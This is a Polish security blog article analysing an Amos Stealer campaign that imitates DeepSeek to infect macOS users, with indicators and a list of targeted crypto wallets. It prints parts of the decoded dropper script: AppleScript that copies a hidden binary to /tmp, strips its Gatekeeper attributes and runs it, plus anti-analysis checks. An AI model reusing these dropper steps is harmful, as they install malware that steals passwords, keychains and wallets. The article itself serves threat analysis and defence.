DeepSeek? Nie – to kolejny Amos Stealer na MacOS

Korzystacie z narzędzi AI? Sztuczna inteligencja zyskała w ostatnim czasie taką popularność, że ciężko znaleźć kogoś, kto choć raz nie spytał o coś ChataGPT/Gemini/DeepSeeka. A skoro rośnie ich popularność wśród ludzi, zaczynają się pojawiać jako wektor ataku. Przyjrzyjmy się szczegółowo najnowszej kampanii Amos Stealer, podszywającej się pod DeepSeek.
W lutym 2025 odkryto zaawansowaną kampanię, podszywającą się pod DeepSeek. Tym razem skupiono się na użytkownikach systemu macOS. Atak zawierał kilka interesujących naszym zdaniem elementów: technikę SeoPoisoning, fałszywą stronę DeepSeek, czy paczkę DMG z malware, tradycyjne kanały eksfiltracji danych. Początkowe analizy określały ten malware jako Poseidon (stąd pierwszy tytuł tego materiału oraz obrazek tytułowy). Jednak praktycznie bliźniacze podobieństwo do analizowanego przez nas wcześniej Amos Stealera nie było przypadkowe, w efekcie czego analitycy docelowo przyporządkowali ten przypadek właśnie jako Amos. Stąd też zmiany wprowadzone już po publikacji pierwszej wersji tego artykułu.
Prawie jak DeepSeek
Atak polegał na dystrybucji złośliwego oprogramowania Amos Stealer za pośrednictwem fałszywej strony internetowej, która podszywała się pod platformę DeepSeek AI. Rozpoczynał się od standardowej w tym przypadku kampanii malvertisingowej, kierującej użytkowników na domenę deepseek.exploreio[.]net.

Strona była kopią platformy DeepSeek AI. Po kliknięciu przycisku „Download for Mac OS” (Pobierz dla Mac OS), użytkownik pobierał plik DMG o nazwie DeepSeek_v.[0-9].[0-9]{02}.dmg z domeny manyanshe[.]com.
Po zamontowaniu DMG w systemie, użytkownik uruchamiał złośliwy skrypt powłoki, który podszywał się pod pakiet aplikacji DeepSeek.

Pobierany skrypt zakodowany był base64 i wyglądał następująco:

Powyższy skrypt definiuje trzy zmienne (wDwyQrpH, IxOudLSd, SkkdUOuJ) które zawierają fragmenty zakodowanego kodu w Base64. Następnie skleja je w jedną długą zmienną funcname a następnie używa polecenia base64 –decode, aby przywrócić oryginalną funkcję. Na końcu uruchamia ją za pomocą bash -c.
Po zdekodowaniu wyglądał on nieco bardziej przejrzyście:

Co robi Amos Stealer w kolejnych krokach?
Powyższy kod na początku wyszukuje woluminy i pobiera listę zamontowanych dysków.
osascript -e 'on run
try
set volumeList to list disks
end try
set setupVolume to ""
try
Następnie sprawdza obecność woluminu DeepSeek, przeszukuje listę woluminów i sprawdza, czy istnieje napęd o nazwie DeepSeek. Jeśli tak, przypisuje jego nazwę do zmiennej setupVolume.
repeat with vol in volumeList
if vol contains "DeepSeek" then
set setupVolume to vol
exit repeat
end if
end repeat
W kolejnym kroku kopiuje plik wykonywalny, tworzy ścieżkę do pliku .DeepSeek na zamontowanym woluminie oraz ścieżkę /tmp/.DeepSeek.
set scriptDir to "/Volumes/" & setupVolume & "/"
set executableName to ".DeepSeek"
set executablePath to scriptDir & executableName
set tmpExecutablePath to "/tmp/" & executableName
usuwa stary plik /tmp/.DeepSeek.
do shell script "rm -f " & quoted form of tmpExecutablePath
kopiuje .DeepSeek z zamontowanego woluminu do /tmp/.
do shell script "cp " & quoted form of executablePath & " " & quoted form of tmpExecutablePath
usuwa atrybuty zabezpieczeń (Gatekeeper) za pomocą xattr -c.
do shell script "xattr -c " & quoted form of tmpExecutablePath
nadaje uprawnienia do wykonywania (chmod +x).
do shell script "chmod +x " & quoted form of tmpExecutablePath
oraz uruchamia plik /tmp/.DeepSeek.
do shell script quoted form of tmpExecutablePath
Analizowana wersja Amos Stealer posiada również mechanizmy anty-debuggingowe. Sprawdza obecność debuggera za pomocą funkcji ptrace()
, a następnie używa polecenia sysctl
do inspekcji flagi P_TRACED w statusie procesu. Jeśli nazwa użytkownika odpowiada typowym aliasom, takim jak „maria” czy „jackiemac”, malware kończy swoje działanie:
osascript -e 'if (short user name of (system info)) is "maria" or (short user name of (system info)) is "run" or (short user name of (system info)) is "jackiemac" or (short user name of (system info)) is "bruno" then error number -1'
a następnie uruchamia polecenie
disown; pkill Terminal
by odłączyć się od procesu nadrzędnego i usunąć ślady swojej obecności.
Co wykrada Amos Stealer?
Zaprojektowany jest głównie do gromadzenia danych z:
- przeglądarek internetowych (pliki cookie, hasła i zapisane karty kredytowe z przeglądarek opartych na silniku Chromium)
- portfeli kryptowalutowych (pełna lista na końcu tekstu)
- systemowych pęków kluczy z bazy danych (jak /Library/Keychains/login.keychain-db_
- plików użytkownika (dokumenth z rozszerzeniami *.txt, *.pdf, *.wallet)
Wykradzione dane są gromadzone w jednym pliku i eksfiltrowane za pomocą poleceń curl na serwer C2 pod adresem hxxps://82.115.223[.]9/contact. Adres ten powiązany jest z innymi kampaniami malware typu infostealer, takimi jak wcześniejsza kampania Amos Steale , czy Redline. Warto zauważyć, iż w poprzednich kampaniach ten malware był dystrybuowany niemal tą samą metodą, z tą różnicą, że podszywał się pod model AI Sora.
Warto zauważyć, iż atakujący w swoich działaniach śledzą pojawiające się nowe rozwiązania oraz zapotrzebowanie użytkowników, zaś motywy z wykorzystaniem AI stanowią obecnie jeden z głównych motywów kampanii z instalacją złośliwej aplikacji.
Opisywana kampania Amos Stealer dowodzi rosnącej skali ataków, wymierzonych w użytkowników macOS, łączących socjotechnikę, wieloetapowe droppery oraz zaawansowane techniki unikania zabezpieczeń. Jak powinniśmy radzić sobie z takim zagrożeniem? Przede wszystkim instalować jedynie treści ze sprawdzonych stron/serwisów. Zanim zapiszemy na komputer plik instalacyjny, obowiązkowo upewnijmy się, czy strona, z której go ściągamy, jest na pewno wiarygodna.
Iwo Graj
Źródło początkowej analizy oraz screenshotów złośliwej strony: https://www.esentire.com/blog/fake-deepseek-site-infects-mac-users-with-poseidon-stealer
Lista portfeli kryptowalutowych, z których dane wykrada Amos Stealer:
5ire, Rise – Aptos, Finnie, Crypto Airdrops & Bounties, Crypto.com | Onchain Extension, Inspect – Crypto | NFTs | DeFi | Web3, Bitfinity, Razor, ZilPay, KardiaChain, Ultra, Leather, Cyano, Hycon Lite Client, FRWT Secure DeFi Crypto, Xverse: Buy Bitcoin, ABC, Clown, MadWallet, CLV, Solflare, EO.Finance: Crypto & Fiat, Zerion: for Web3 & NFTs, MetaMask, BNB Chain, Fewcha Move, Surf, MyTonWallet · My TON, OpenMask – TON, Oxygen, Ctrl, Leaf, DAppPlay, Tonkeeper — for TON, JaxxLiberty, Braavos – Starknet, Cosmostation, Fuelet, Wombat – Gaming for Ethereum & EOS, ICONex, KHC, Coin98 Extension: Crypto & Defi, ShibaWallet – Meme Crypto &NFT, BitMask, TezBox – Tezos, Harmony, XcelPay, Beam Web, Stargazer, Ronin, Phantom, NC: Crypto without fees, Carax, Guardian, Meteor, ROSE, EVER, Argent X – Starknet, Bitget – Crypto, Web3 | Bitcoin & USDT, XDCPay, Slope, NeoLine, OKX, BlockWallet, Suiet | Sui, Petra Aptos, Pontem Crypto – Eth, Sol, BTC +, Sender, Flow, XTON, Gate, Vanta, TronLink, MathWallet, iWallet, Martian Aptos & Sui Extension, Ethos Sui, Zapit: Crypto & P2P Exchange, Flint, CWallet, Manta, Pali, Suku, Polymesh, Legacy, Casper, Unknown, Bitverse, Tron & Explorer – Tronium, Freak’s Axie Extension, Privacy: Harbor – Crypto, Spacecy, ASI Alliance, Energy8, Nabox, Internet Money | Crypto, Forbole X, TON, Auro, Talisman, Cypher, YETI Web3.0, Metalet, Coinbase extension, Guarda, Trust, Virgo, Soter | Aleo, Fin For Sei, StarMask, MEW CX, Byone, Rabby, Core, Komodo, SubWallet – Polkadot, HBAR crypto, Twetch, Venom, FoxWallet | Aleo, ScaleWallet, Station, Exodus Web3, Compass for Sei, Enkrypt: ETH, BTC and Solana, Alby – Bitcoin for Lightning & Nostr, ONTO, Glass | Sui, Leap Cosmos, Klever, Keplr, Temple – Tezos, CoinWallet: BTC Crypto, Biport, Swash, Liquality, SafePal Extension, UniSat, Yoroi, Sui, CloverPool, Cirus: Crypto | Web3 | Earn Crypto, Unknown, Koala, Ramper, Eternl, OsmWallet – Your XRP, Bitwarden Password Manager